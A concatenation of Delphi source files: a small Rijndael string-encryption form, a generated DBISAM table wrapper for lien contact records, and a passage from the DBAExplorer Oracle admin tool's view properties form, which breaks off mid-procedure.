procedure TForm1.ButtonEnCryptClick(Sender: TObject);
var
i: integer;
Cipher: TDCP_rijndael;
begin
if EditKey.Text<>'' then begin
Cipher:=TDCP_rijndael.Create(Self);
Cipher.InitStr(EditKey.Text,TDCP_sha256);
EditEncrypted.Text:=Cipher.EncryptString(EditClear.Text);
Cipher.Burn;
Cipher.Free;
EditClear.Clear;
end;
end;
procedure TForm1.ButtonDeCryptClick(Sender: TObject);
var
i: integer;
Cipher: TDCP_rijndael;
begin
if EditKey.Text<>'' then begin
Cipher:=TDCP_rijndael.Create(Self);
Cipher.InitStr(EditKey.Text,TDCP_sha256);
EditClear.Text:=Cipher.DecryptString(EditEncrypted.Text);
Cipher.Burn;
Cipher.Free;
EditEncrypted.Clear;
end;
end;
end.
|
unit InfoXLIENTable;
interface
uses
Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf;
type
TInfoXLIENRecord = record
PLienID: String[4];
PModCount: String[1];
PName: String[30];
PAddr: String[30];
PCityStZip: String[30];
PPhone: String[30];
PContact: String[30];
End;
TInfoXLIENClass2 = class
public
PLienID: String[4];
PModCount: String[1];
PName: String[30];
PAddr: String[30];
PCityStZip: String[30];
PPhone: String[30];
PContact: String[30];
End;
// function CtoRInfoXLIEN(AClass:TInfoXLIENClass):TInfoXLIENRecord;
// procedure RtoCInfoXLIEN(ARecord:TInfoXLIENRecord;AClass:TInfoXLIENClass);
TInfoXLIENBuffer = class(TDataBuf)
protected
function PtrIndex(Index:integer):Pointer;override;
public
Data: TInfoXLIENRecord;
function FieldNameToIndex(s:string):integer;override;
function FieldType(index:integer):TFieldType;override;
end;
TEIInfoXLIEN = (InfoXLIENPrimaryKey, InfoXLIENLienId, InfoXLIENName);
TInfoXLIENTable = class( TDBISAMTableAU )
private
FDFLienID: TStringField;
FDFModCount: TStringField;
FDFName: TStringField;
FDFAddr: TStringField;
FDFCityStZip: TStringField;
FDFPhone: TStringField;
FDFContact: TStringField;
procedure SetPLienID(const Value: String);
function GetPLienID:String;
procedure SetPModCount(const Value: String);
function GetPModCount:String;
procedure SetPName(const Value: String);
function GetPName:String;
procedure SetPAddr(const Value: String);
function GetPAddr:String;
procedure SetPCityStZip(const Value: String);
function GetPCityStZip:String;
procedure SetPPhone(const Value: String);
function GetPPhone:String;
procedure SetPContact(const Value: String);
function GetPContact:String;
function GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string;
procedure SetEnumIndex(Value: TEIInfoXLIEN);
function GetEnumIndex: TEIInfoXLIEN;
protected
function CreateField( const FieldName : string ): TField;
procedure CreateFields; reintroduce;
procedure SetActive(Value: Boolean); override;
procedure LoadFieldDefs(AStringList:TStringList);override;
procedure LoadIndexDefs(AStringList:TStringList);override;
public
function GetDataBuffer:TInfoXLIENRecord;
procedure StoreDataBuffer(ABuffer:TInfoXLIENRecord);
property DFLienID: TStringField read FDFLienID;
property DFModCount: TStringField read FDFModCount;
property DFName: TStringField read FDFName;
property DFAddr: TStringField read FDFAddr;
property DFCityStZip: TStringField read FDFCityStZip;
property DFPhone: TStringField read FDFPhone;
property DFContact: TStringField read FDFContact;
property PLienID: String read GetPLienID write SetPLienID;
property PModCount: String read GetPModCount write SetPModCount;
property PName: String read GetPName write SetPName;
property PAddr: String read GetPAddr write SetPAddr;
property PCityStZip: String read GetPCityStZip write SetPCityStZip;
property PPhone: String read GetPPhone write SetPPhone;
property PContact: String read GetPContact write SetPContact;
published
property Active write SetActive;
property EnumIndex: TEIInfoXLIEN read GetEnumIndex write SetEnumIndex;
end; { TInfoXLIENTable }
TInfoXLIENQuery = class( TDBISAMQueryAU )
private
FDFLienID: TStringField;
FDFModCount: TStringField;
FDFName: TStringField;
FDFAddr: TStringField;
FDFCityStZip: TStringField;
FDFPhone: TStringField;
FDFContact: TStringField;
procedure SetPLienID(const Value: String);
function GetPLienID:String;
procedure SetPModCount(const Value: String);
function GetPModCount:String;
procedure SetPName(const Value: String);
function GetPName:String;
procedure SetPAddr(const Value: String);
function GetPAddr:String;
procedure SetPCityStZip(const Value: String);
function GetPCityStZip:String;
procedure SetPPhone(const Value: String);
function GetPPhone:String;
procedure SetPContact(const Value: String);
function GetPContact:String;
function GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string;
protected
function CreateField( const FieldName : string ): TField;
procedure CreateFields; reintroduce;
procedure SetActive(Value: Boolean); override;
public
function GetDataBuffer:TInfoXLIENRecord;
procedure StoreDataBuffer(ABuffer:TInfoXLIENRecord);
property DFLienID: TStringField read FDFLienID;
property DFModCount: TStringField read FDFModCount;
property DFName: TStringField read FDFName;
property DFAddr: TStringField read FDFAddr;
property DFCityStZip: TStringField read FDFCityStZip;
property DFPhone: TStringField read FDFPhone;
property DFContact: TStringField read FDFContact;
property PLienID: String read GetPLienID write SetPLienID;
property PModCount: String read GetPModCount write SetPModCount;
property PName: String read GetPName write SetPName;
property PAddr: String read GetPAddr write SetPAddr;
property PCityStZip: String read GetPCityStZip write SetPCityStZip;
property PPhone: String read GetPPhone write SetPPhone;
property PContact: String read GetPContact write SetPContact;
published
property Active write SetActive;
end; { TInfoXLIENTable }
procedure Register;
implementation
function TInfoXLIENTable.GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string;
var
I: Integer;
NewName: string;
Done: Boolean;
function ComponentExists( AOwner: TComponent; const CompName: string ): Boolean;
var
I: Integer;
begin
Result := False;
for I := 0 To AOwner.ComponentCount - 1 do
begin
if AnsiCompareText( CompName, AOwner.Components[ I ].Name ) = 0 then
begin
Result := True;
Break;
end;
end;
end; { ComponentExists }
begin { TInfoXLIENTable.GenerateNewFieldName }
NewName := DatasetName;
for I := 1 to Length( FieldName ) do
begin
if FieldName[ I ] in [ '0'..'9', '_', 'A'..'Z', 'a'..'z' ] then
NewName := NewName + FieldName[ I ];
end;
if ComponentExists( Owner, NewName ) then
begin
I := 1;
Done := False;
repeat
Inc( I );
if not ComponentExists( AOwner, NewName + IntToStr( I ) ) then
begin
Result := NewName + IntToStr( I );
Done := True;
end;
until Done;
end
else
Result := NewName;
end; { TInfoXLIENTable.GenerateNewFieldName }
function TInfoXLIENTable.CreateField( const FieldName : string ): TField;
begin
{ First, try to find an existing field object. FindField is the same }
{ as FieldByName, but does not raise an exception if the field object }
{ cannot be found. }
Result := FindField( FieldName );
if Result = nil then
begin
{ If an existing field object cannot be found... }
{ Instruct the FieldDefs object to create a new field object }
Result := FieldDefs.Find( FieldName ).CreateField( Owner );
{ The new field object must be given a name so that it may appear in }
{ the Object Inspector. The Delphi default naming convention is used.}
Result.Name := GenerateNewFieldName( Owner, Name, FieldName);
end;
end; { TInfoXLIENTable.CreateField }
procedure TInfoXLIENTable.CreateFields;
begin
FDFLienID := CreateField( 'LienID' ) as TStringField;
FDFModCount := CreateField( 'ModCount' ) as TStringField;
FDFName := CreateField( 'Name' ) as TStringField;
FDFAddr := CreateField( 'Addr' ) as TStringField;
FDFCityStZip := CreateField( 'CityStZip' ) as TStringField;
FDFPhone := CreateField( 'Phone' ) as TStringField;
FDFContact := CreateField( 'Contact' ) as TStringField;
end; { TInfoXLIENTable.CreateFields }
procedure TInfoXLIENTable.SetActive(Value: Boolean);
begin
inherited SetActive(Value);
if Active then
CreateFields;
end; { TInfoXLIENTable.SetActive }
procedure TInfoXLIENTable.SetPLienID(const Value: String);
begin
DFLienID.Value := Value;
end;
function TInfoXLIENTable.GetPLienID:String;
begin
result := DFLienID.Value;
end;
procedure TInfoXLIENTable.SetPModCount(const Value: String);
begin
DFModCount.Value := Value;
end;
function TInfoXLIENTable.GetPModCount:String;
begin
result := DFModCount.Value;
end;
procedure TInfoXLIENTable.SetPName(const Value: String);
begin
DFName.Value := Value;
end;
function TInfoXLIENTable.GetPName:String;
begin
result := DFName.Value;
end;
procedure TInfoXLIENTable.SetPAddr(const Value: String);
begin
DFAddr.Value := Value;
end;
function TInfoXLIENTable.GetPAddr:String;
begin
result := DFAddr.Value;
end;
procedure TInfoXLIENTable.SetPCityStZip(const Value: String);
begin
DFCityStZip.Value := Value;
end;
function TInfoXLIENTable.GetPCityStZip:String;
begin
result := DFCityStZip.Value;
end;
procedure TInfoXLIENTable.SetPPhone(const Value: String);
begin
DFPhone.Value := Value;
end;
function TInfoXLIENTable.GetPPhone:String;
begin
result := DFPhone.Value;
end;
procedure TInfoXLIENTable.SetPContact(const Value: String);
begin
DFContact.Value := Value;
end;
function TInfoXLIENTable.GetPContact:String;
begin
result := DFContact.Value;
end;
procedure TInfoXLIENTable.LoadFieldDefs(AStringList: TStringList);
begin
inherited;
with AstringList do
begin
Add('LienID, String, 4, N');
Add('ModCount, String, 1, N');
Add('Name, String, 30, N');
Add('Addr, String, 30, N');
Add('CityStZip, String, 30, N');
Add('Phone, String, 30, N');
Add('Contact, String, 30, N');
end;
end;
procedure TInfoXLIENTable.LoadIndexDefs(AStringList: TStringList);
begin
inherited;
with AstringList do
begin
Add('PrimaryKey, LienID, Y, Y, N, N');
Add('LienId, LienID, N, Y, N, N');
Add('Name, Name, N, N, N, N');
end;
end;
procedure TInfoXLIENTable.SetEnumIndex(Value: TEIInfoXLIEN);
begin
case Value of
InfoXLIENPrimaryKey : IndexName := '';
InfoXLIENLienId : IndexName := 'LienId';
InfoXLIENName : IndexName := 'Name';
end;
end;
function TInfoXLIENTable.GetDataBuffer:TInfoXLIENRecord;
var buf: TInfoXLIENRecord;
begin
fillchar(buf, sizeof(buf), 0);
buf.PLienID := DFLienID.Value;
buf.PModCount := DFModCount.Value;
buf.PName := DFName.Value;
buf.PAddr := DFAddr.Value;
buf.PCityStZip := DFCityStZip.Value;
buf.PPhone := DFPhone.Value;
buf.PContact := DFContact.Value;
result := buf;
end;
procedure TInfoXLIENTable.StoreDataBuffer(ABuffer:TInfoXLIENRecord);
begin
DFLienID.Value := ABuffer.PLienID;
DFModCount.Value := ABuffer.PModCount;
DFName.Value := ABuffer.PName;
DFAddr.Value := ABuffer.PAddr;
DFCityStZip.Value := ABuffer.PCityStZip;
DFPhone.Value := ABuffer.PPhone;
DFContact.Value := ABuffer.PContact;
end;
function TInfoXLIENTable.GetEnumIndex: TEIInfoXLIEN;
var iname : string;
begin
result := InfoXLIENPrimaryKey;
iname := uppercase(indexname);
if iname = '' then result := InfoXLIENPrimaryKey;
if iname = 'LIENID' then result := InfoXLIENLienId;
if iname = 'NAME' then result := InfoXLIENName;
end;
function TInfoXLIENQuery.GenerateNewFieldName( AOwner: TComponent; const DatasetName: string; const FieldName: string ): string;
var
I: Integer;
NewName: string;
Done: Boolean;
function ComponentExists( AOwner: TComponent; const CompName: string ): Boolean;
var
I: Integer;
begin
Result := False;
for I := 0 To AOwner.ComponentCount - 1 do
begin
if AnsiCompareText( CompName, AOwner.Components[ I ].Name ) = 0 then
begin
Result := True;
Break;
end;
end;
end; { ComponentExists }
begin { TInfoXLIENQuery.GenerateNewFieldName }
NewName := DatasetName;
for I := 1 to Length( FieldName ) do
begin
if FieldName[ I ] in [ '0'..'9', '_', 'A'..'Z', 'a'..'z' ] then
NewName := NewName + FieldName[ I ];
end;
if ComponentExists( Owner, NewName ) then
begin
I := 1;
Done := False;
repeat
Inc( I );
if not ComponentExists( AOwner, NewName + IntToStr( I ) ) then
begin
Result := NewName + IntToStr( I );
Done := True;
end;
until Done;
end
else
Result := NewName;
end; { TInfoXLIENQuery.GenerateNewFieldName }
function TInfoXLIENQuery.CreateField( const FieldName : string ): TField;
begin
{ First, try to find an existing field object. FindField is the same }
{ as FieldByName, but does not raise an exception if the field object }
{ cannot be found. }
Result := FindField( FieldName );
if Result = nil then
begin
{ If an existing field object cannot be found... }
{ Instruct the FieldDefs object to create a new field object }
Result := FieldDefs.Find( FieldName ).CreateField( Owner );
{ The new field object must be given a name so that it may appear in }
{ the Object Inspector. The Delphi default naming convention is used.}
Result.Name := GenerateNewFieldName( Owner, Name, FieldName);
end;
end; { TInfoXLIENQuery.CreateField }
procedure TInfoXLIENQuery.CreateFields;
begin
FDFLienID := CreateField( 'LienID' ) as TStringField;
FDFModCount := CreateField( 'ModCount' ) as TStringField;
FDFName := CreateField( 'Name' ) as TStringField;
FDFAddr := CreateField( 'Addr' ) as TStringField;
FDFCityStZip := CreateField( 'CityStZip' ) as TStringField;
FDFPhone := CreateField( 'Phone' ) as TStringField;
FDFContact := CreateField( 'Contact' ) as TStringField;
end; { TInfoXLIENQuery.CreateFields }
procedure TInfoXLIENQuery.SetActive(Value: Boolean);
begin
inherited SetActive(Value);
if Active then
CreateFields;
end; { TInfoXLIENQuery.SetActive }
procedure TInfoXLIENQuery.SetPLienID(const Value: String);
begin
DFLienID.Value := Value;
end;
function TInfoXLIENQuery.GetPLienID:String;
begin
result := DFLienID.Value;
end;
procedure TInfoXLIENQuery.SetPModCount(const Value: String);
begin
DFModCount.Value := Value;
end;
function TInfoXLIENQuery.GetPModCount:String;
begin
result := DFModCount.Value;
end;
procedure TInfoXLIENQuery.SetPName(const Value: String);
begin
DFName.Value := Value;
end;
function TInfoXLIENQuery.GetPName:String;
begin
result := DFName.Value;
end;
procedure TInfoXLIENQuery.SetPAddr(const Value: String);
begin
DFAddr.Value := Value;
end;
function TInfoXLIENQuery.GetPAddr:String;
begin
result := DFAddr.Value;
end;
procedure TInfoXLIENQuery.SetPCityStZip(const Value: String);
begin
DFCityStZip.Value := Value;
end;
function TInfoXLIENQuery.GetPCityStZip:String;
begin
result := DFCityStZip.Value;
end;
procedure TInfoXLIENQuery.SetPPhone(const Value: String);
begin
DFPhone.Value := Value;
end;
function TInfoXLIENQuery.GetPPhone:String;
begin
result := DFPhone.Value;
end;
procedure TInfoXLIENQuery.SetPContact(const Value: String);
begin
DFContact.Value := Value;
end;
function TInfoXLIENQuery.GetPContact:String;
begin
result := DFContact.Value;
end;
function TInfoXLIENQuery.GetDataBuffer:TInfoXLIENRecord;
var buf: TInfoXLIENRecord;
begin
fillchar(buf, sizeof(buf), 0);
buf.PLienID := DFLienID.Value;
buf.PModCount := DFModCount.Value;
buf.PName := DFName.Value;
buf.PAddr := DFAddr.Value;
buf.PCityStZip := DFCityStZip.Value;
buf.PPhone := DFPhone.Value;
buf.PContact := DFContact.Value;
result := buf;
end;
procedure TInfoXLIENQuery.StoreDataBuffer(ABuffer:TInfoXLIENRecord);
begin
DFLienID.Value := ABuffer.PLienID;
DFModCount.Value := ABuffer.PModCount;
DFName.Value := ABuffer.PName;
DFAddr.Value := ABuffer.PAddr;
DFCityStZip.Value := ABuffer.PCityStZip;
DFPhone.Value := ABuffer.PPhone;
DFContact.Value := ABuffer.PContact;
end;
(********************************************)
(************ Register Component ************)
(********************************************)
procedure Register;
begin
RegisterComponents( 'Info Tables', [ TInfoXLIENTable, TInfoXLIENQuery, TInfoXLIENBuffer ] );
end; { Register }
function TInfoXLIENBuffer.FieldNameToIndex(s:string):integer;
const flist:array[1..7] of string = ('LIENID','MODCOUNT','NAME','ADDR','CITYSTZIP','PHONE'
,'CONTACT' );
var x : integer;
begin
s := uppercase(s);
x := 1;
while (x <= 7) and (flist[x] <> s) do inc(x);
if x <= 7 then result := x else result := 0;
end;
function TInfoXLIENBuffer.FieldType(index:integer):TFieldType;
begin
result := ftUnknown;
case index of
1 : result := ftString;
2 : result := ftString;
3 : result := ftString;
4 : result := ftString;
5 : result := ftString;
6 : result := ftString;
7 : result := ftString;
end;
end;
function TInfoXLIENBuffer.PtrIndex(index:integer):Pointer;
begin
result := nil;
case index of
1 : result := @Data.PLienID;
2 : result := @Data.PModCount;
3 : result := @Data.PName;
4 : result := @Data.PAddr;
5 : result := @Data.PCityStZip;
6 : result := @Data.PPhone;
7 : result := @Data.PContact;
end;
end;
end.
|
{
DBAExplorer - Oracle Admin Management Tool
Copyright (C) 2008 Alpaslan KILICKAYA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
}
unit frmViewProperties;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, cxStyles, cxCustomData, cxGraphics,
cxFilter, cxData, cxDataStorage, cxEdit, DB, cxDBData, cxTextEdit,
ComCtrls, ToolWin, cxGridLevel, cxGridCustomTableView, cxGridTableView,
cxGridDBTableView, cxClasses, cxControls, cxGridCustomView, cxGrid, cxPC,
//
frmBaseForm, ExtCtrls, cxContainer, cxMemo, cxRichEdit, cxSplitter,
cxDBEdit, cxLabel, dxBar, MemDS, DBAccess, Ora, jpeg, GenelDM,
dxStatusBar, dxBarDBNav, Menus, cxGridExportLink, OraView, VirtualTable,
cxGroupBox;
type
TViewPropertiesFrm = class(TBaseform)
pcViewProperties: TcxPageControl;
tsViewTrigers: TcxTabSheet;
tsViewData: TcxTabSheet;
tsViewScripts: TcxTabSheet;
tsViewGrants: TcxTabSheet;
tsViewSynonyms: TcxTabSheet;
tsViewUsedBy: TcxTabSheet;
tsViewUses: TcxTabSheet;
cxSplitter2: TcxSplitter;
editTriggers: TcxRichEdit;
GridUses: TcxGrid;
GridUsesDBTableView1: TcxGridDBTableView;
cxGridLevel2: TcxGridLevel;
GridUsesDBTableView1Column1: TcxGridDBColumn;
GridUsesDBTableView1Column2: TcxGridDBColumn;
GridUsesDBTableView1Column3: TcxGridDBColumn;
GridUsesDBTableView1Column4: TcxGridDBColumn;
GridUsesDBTableView1Column5: TcxGridDBColumn;
Panel1: TPanel;
imgToolBar: TImage;
lblDescription: TLabel;
dxBarManager1: TdxBarManager;
dsViewColumns: TDataSource;
tsViewDetails: TcxTabSheet;
dxBarDockControl1: TdxBarDockControl;
Image2: TImage;
btnCreateView: TdxBarButton;
btnAlterView: TdxBarButton;
btnDropView: TdxBarButton;
btnCompileView: TdxBarButton;
btnRefreshView: TdxBarButton;
btnPrivilegesView: TdxBarButton;
dxBarDockControl3: TdxBarDockControl;
dxBarDBNavigator1: TdxBarDBNavigator;
dxBarDBNavFirst1: TdxBarDBNavButton;
dxBarDBNavPrev1: TdxBarDBNavButton;
dxBarDBNavNext1: TdxBarDBNavButton;
dxBarDBNavLast1: TdxBarDBNavButton;
dxBarDBNavRefresh1: TdxBarDBNavButton;
qViewData: TOraQuery;
dsViewData: TDataSource;
sbData: TdxStatusBar;
GridData: TcxGrid;
gridDataView: TcxGridDBTableView;
cxGridLevel4: TcxGridLevel;
edtDataFilter: TdxBarEdit;
popData: TPopupMenu;
popDataMultiSelect: TMenuItem;
popDataSaveAs: TMenuItem;
popDataFindData: TMenuItem;
popDataRecordCount: TMenuItem;
DataSaveDialog: TSaveDialog;
dxBarDockControl4: TdxBarDockControl;
bbtnGrantPrivileges: TdxBarButton;
btnRefreshGrants: TdxBarButton;
dsGrants: TDataSource;
GridGrants: TcxGrid;
GridGrantsDBTableView1: TcxGridDBTableView;
GridGrantsDBTableView1Column1: TcxGridDBColumn;
GridGrantsDBTableView1Column2: TcxGridDBColumn;
GridGrantsDBTableView1Column3: TcxGridDBColumn;
GridGrantsDBTableView1Column4: TcxGridDBColumn;
cxGridLevel5: TcxGridLevel;
qTrigger: TOraQuery;
dsTrigger: TDataSource;
GridTrigers: TcxGrid;
GridTrigersDBTableView1: TcxGridDBTableView;
GridTrigersDBTableView1Column1: TcxGridDBColumn;
GridTrigersDBTableView1Column2: TcxGridDBColumn;
GridTrigersDBTableView1Column3: TcxGridDBColumn;
GridTrigersDBTableView1Column4: TcxGridDBColumn;
GridTrigersDBTableView1Column5: TcxGridDBColumn;
GridTrigersDBTableView1Column6: TcxGridDBColumn;
GridTrigersDBTableView1Column7: TcxGridDBColumn;
GridTrigersDBTableView1Column8: TcxGridDBColumn;
GridTrigersDBTableView1Column9: TcxGridDBColumn;
GridTrigersDBTableView1Column10: TcxGridDBColumn;
GridTrigersDBTableView1Column11: TcxGridDBColumn;
cxGridLevel3: TcxGridLevel;
dxBarDockControl5: TdxBarDockControl;
bbtnCreateTrigger: TdxBarButton;
bbtnAlterTrigger: TdxBarButton;
bbtnDropTrigger: TdxBarButton;
bbtnEnableTrigger: TdxBarButton;
bbtnDisableTrigger: TdxBarButton;
bbtnCompileTrigger: TdxBarButton;
bbtnRefreshTrigger: TdxBarButton;
dsSynonyms: TDataSource;
dxBarDockControl6: TdxBarDockControl;
bbtnCreateSynonym: TdxBarButton;
bbtnDropSynonym: TdxBarButton;
bbtnRefreshSynonym: TdxBarButton;
GridSynonyms: TcxGrid;
GridSynonymsDBTableView1: TcxGridDBTableView;
GridSynonymsDBTableView1Column1: TcxGridDBColumn;
GridSynonymsDBTableView1Column2: TcxGridDBColumn;
cxGridLevel6: TcxGridLevel;
dsUsed: TDataSource;
GridUsed: TcxGrid;
GridUsedDBTableView1: TcxGridDBTableView;
GridUsedDBTableView1Column1: TcxGridDBColumn;
GridUsedDBTableView1Column2: TcxGridDBColumn;
GridUsedDBTableView1Column3: TcxGridDBColumn;
GridUsedDBTableView1Column4: TcxGridDBColumn;
GridUsedDBTableView1Column5: TcxGridDBColumn;
cxGridLevel7: TcxGridLevel;
dsUses: TDataSource;
redtDDL: TcxRichEdit;
vtViewColumns: TVirtualTable;
vtGrants: TVirtualTable;
vtSynonyms: TVirtualTable;
vtUsed: TVirtualTable;
vtUses: TVirtualTable;
gridColumn: TcxGrid;
gridColumnDB: TcxGridDBTableView;
gridColumnDBCOLUMN_ID: TcxGridDBColumn;
gridColumnDBCOLUMN_NAME: TcxGridDBColumn;
gridColumnDBDATA_TYPE: TcxGridDBColumn;
gridColumnDBDATA_LENGTH: TcxGridDBColumn;
gridColumnDBDATA_PRECISION: TcxGridDBColumn;
gridColumnDBDATA_SCALE: TcxGridDBColumn;
gridColumnDBNULLABLE: TcxGridDBColumn;
gridColumnLevel1: TcxGridLevel;
cxGroupBox1: TcxGroupBox;
cxLabel1: TcxLabel;
edtViewName: TcxTextEdit;
cxLabel2: TcxLabel;
edtOwner: TcxTextEdit;
bbtnEnableAllTriggers: TdxBarButton;
bbtnDisableAllTriggers: TdxBarButton;
procedure pcViewPropertiesPageChanging(Sender: TObject;
NewPage: TcxTabSheet; var AllowChange: Boolean);
procedure GridTrigersDBTableView1CanSelectRecord(
Sender: TcxCustomGridTableView; ARecord: TcxCustomGridRecord;
var AAllow: Boolean);
procedure btnCreateViewClick(Sender: TObject);
procedure btnAlterViewClick(Sender: TObject);
procedure btnDropViewClick(Sender: TObject);
procedure btnCompileViewClick(Sender: TObject);
procedure edtDataFilterEnter(Sender: TObject);
procedure edtDataFilterExit(Sender: TObject);
procedure edtDataFilterKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure dsViewDataStateChange(Sender: TObject);
procedure dsViewDataDataChange(Sender: TObject; Field: TField);
procedure gridDataViewColumnHeaderClick(Sender: TcxGridTableView;
AColumn: TcxGridColumn);
procedure popDataMultiSelectClick(Sender: TObject);
procedure popDataSaveAsClick(Sender: TObject);
procedure popDataFindDataClick(Sender: TObject);
procedure popDataRecordCountClick(Sender: TObject);
procedure bbtnGrantPrivilegesClick(Sender: TObject);
procedure btnRefreshGrantsClick(Sender: TObject);
procedure bbtnCreateTriggerClick(Sender: TObject);
procedure bbtnAlterTriggerClick(Sender: TObject);
procedure bbtnDropTriggerClick(Sender: TObject);
procedure bbtnEnableTriggerClick(Sender: TObject);
procedure bbtnDisableTriggerClick(Sender: TObject);
procedure bbtnCompileTriggerClick(Sender: TObject);
procedure bbtnRefreshTriggerClick(Sender: TObject);
procedure bbtnCreateSynonymClick(Sender: TObject);
procedure bbtnDropSynonymClick(Sender: TObject);
procedure bbtnRefreshSynonymClick(Sender: TObject);
procedure btnRefreshViewClick(Sender: TObject);
procedure bbtnEnableAllTriggersClick(Sender: TObject);
procedure bbtnDisableAllTriggersClick(Sender: TObject);
private
{ Private declarations }
FViewName,
FOwner : string;
View: TView;
procedure GetView;
procedure GetData;
procedure GetDataWithWhereCont;
procedure GetTriggers;
procedure GetTriggerDetail;
procedure GetUses;
procedure GetUsed;
public
{ Public declarations }
procedure Init(ObjName, OwnerName: string); override;
end;
var
ViewPropertiesFrm: TViewPropertiesFrm;
implementation
{$R *.dfm}
uses frmSchemaBrowser, Util, frmViewDetail, frmTableEvents, OraStorage,
frmTableSort, frmTableFind, OraGrants, frmGrants, OraTriger,
frmTrigerDetail, frmSynonyms, OraSynonym, frmSchemaPublicEvent,
VisualOptions;
procedure TViewPropertiesFrm.Init(ObjName, OwnerName: string);
var
a: boolean;
begin
inherited Show;
DMGenel.ChangeLanguage(self);
ChangeVisualGUI(self);
top := 0;
left := 0;
FViewName := ObjName;
FOwner := OwnerName;
edtDataFilter.Text := 'Enter where clause';
GetView;
pcViewPropertiesPageChanging(self, pcViewProperties.ActivePage ,a);
end;
procedure TViewPropertiesFrm.pcViewPropertiesPageChanging(Sender: TObject;
NewPage: TcxTabSheet; var AllowChange: Boolean);
begin
inherited;
qViewData.close;
qTrigger.close;
if NewPage = tsViewData then GetData;
if NewPage = tsViewTrigers then GetTriggers;
if NewPage = tsViewUses then GetUses;
if NewPage = tsViewUsedBy then GetUsed;
end;
{*******************************************************************************}
{ V I E W }
{*******************************************************************************}
procedure TViewPropertiesFrm.GetView;
begin
if View <> nil then
FreeAndNil(View);
View := TView.Create;
View.OraSession := TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).OraSession;
View.VIEW_NAME := FViewName;
View.OWNER := FOwner;
View.SetDDL;
redtDDL.Text := View.GetDDL;
CodeColors(self, 'Default', redtDDL, false);
edtViewName.Text := View.VIEW_NAME;
edtOwner.Text := View.OWNER;
lblDescription.Caption := View.ViewStatus;
vtViewColumns.close;
vtViewColumns.Assign(View.ColumnLists.ColumnList);
vtViewColumns.Open;
vtGrants.close;
vtGrants.Assign(View.GrantList.DSGrantList);
vtGrants.Open;
vtSynonyms.close;
vtSynonyms.Assign(View.SynonymList.DSSynonymList);
vtSynonyms.Open;
end;
procedure TViewPropertiesFrm.btnRefreshViewClick(Sender: TObject);
begin
inherited;
GetView;
end;
procedure TViewPropertiesFrm.btnCreateViewClick(Sender: TObject);
var
v: TView;
begin
inherited;
v := TView.Create;
v.VIEW_NAME := '';
v.OWNER := View.OWNER;
v.OraSession := View.OraSession;
if ViewDetailFrm.Init(v) then
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbView);
end;
procedure TViewPropertiesFrm.btnAlterViewClick(Sender: TObject);
begin
inherited;
if View.VIEW_NAME = '' then exit;
if View = nil then exit;
if ViewDetailFrm.Init(View) then
GetView;
end;
procedure TViewPropertiesFrm.btnDropViewClick(Sender: TObject);
begin
inherited;
if View.VIEW_NAME= '' then exit;
if View = nil then exit;
if SchemaPublicEventFrm.Init(View, oeDrop) then
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbView);
end;
procedure TViewPropertiesFrm.btnCompileViewClick(Sender: TObject);
begin
inherited;
if SchemaPublicEventFrm.Init(View, oeCompile) then
TSchemaBrowserFrm(Application.MainForm.ActiveMDIChild).RefreshNode(dbView);
end;
{*******************************************************************************}
{ D A T A }
{*******************************************************************************}
procedure TViewPropertiesFrm.GetData;
begin
qViewData.Session := View.OraSession;
GetDataWithWhereCont;
gridDataView.BeginUpdate;
gridDataView.ClearItems;
gridDataView.DataController.CreateAllItems();
gridDataView.EndUpdate;
gridDataView.ApplyBestFit();
end;
procedure TViewPropertiesFrm.GetDataWithWhereCont;
var
sql: string;
begin
sql := GetViewData(View.VIEW_NAME, View.OWNER);
if edtDataFilter.Text <> 'Enter where clause' then
sql := sql + edtDataFilter.Text;
sql := sql + qViewData.SQLRefresh.Text;
qViewData.Close;
qViewData.SQL.Text := sql;
qViewData.Open;
end;
procedure TViewPropertiesFrm.edtDataFilterEnter(Sender: TObject);
begin
inherited;
if edtDataFilter.Text = 'Enter where clause' then edtDataFilter.CurText := '';
end;
procedure TViewPropertiesFrm.edtDataFilterExit(Sender: TObject);
begin
inherited;
if edtDataFilter.Text = '' then edtDataFilter.Text := 'Enter where clause';
end;
procedure TViewPropertiesFrm.edtDataFilterKeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
inherited;
if Key <> VK_RETURN then exit;
if edtDataFilter.Text = 'Enter where clause' then exit;
if (edtDataFilter.Text <> '') AND (getFirstWord(UpperCase(edtDataFilter.Text)) <> 'WHERE') then
begin
MessageDlg('You must enter first word equel WHERE clause', mtInformation, [mbOK], 0);
exit;
end;
GetDataWithWhereCont;
end;
procedure TViewPropertiesFrm.dsViewDataStateChange(Sender: TObject);
begin
inherited;
sbData.Panels[0].Text := Format('Row %3d of %3d total rows', [dsViewData.DataSet.RecNo, dsViewData.DataSet.RecordCount]);
end;
procedure TViewPropertiesFrm.dsViewDataDataChange(Sender: TObject;
Field: TField);
begin
inherited;
dsViewDataStateChange(nil);
end;
procedure TViewPropertiesFrm.gridDataViewColumnHeaderClick(
Sender: TcxGridTableView; AColumn: TcxGridColumn);
var
sort: TSort;
begin
inherited;
sort := TSort(Acolumn.SortOrder);
if not TableSortFrm.Init(AColumn.Caption, sort) then exit;
qViewData.SQLRefresh.Text := '';
AColumn. SortIndex := -1;
gridDataView.DataController.ClearSorting(false);
if sort = sASC then
begin
qViewData.SQLRefresh.Text := ' ORDER BY '+AColumn.Caption + ' asc ';
AColumn.SortOrder := soAscending;
end;
if sort = sDESC then
begin
qViewData.SQLRefresh.Text := ' ORDER BY '+AColumn.Caption + ' desc ';
AColumn.SortOrder := soDescending;
end;
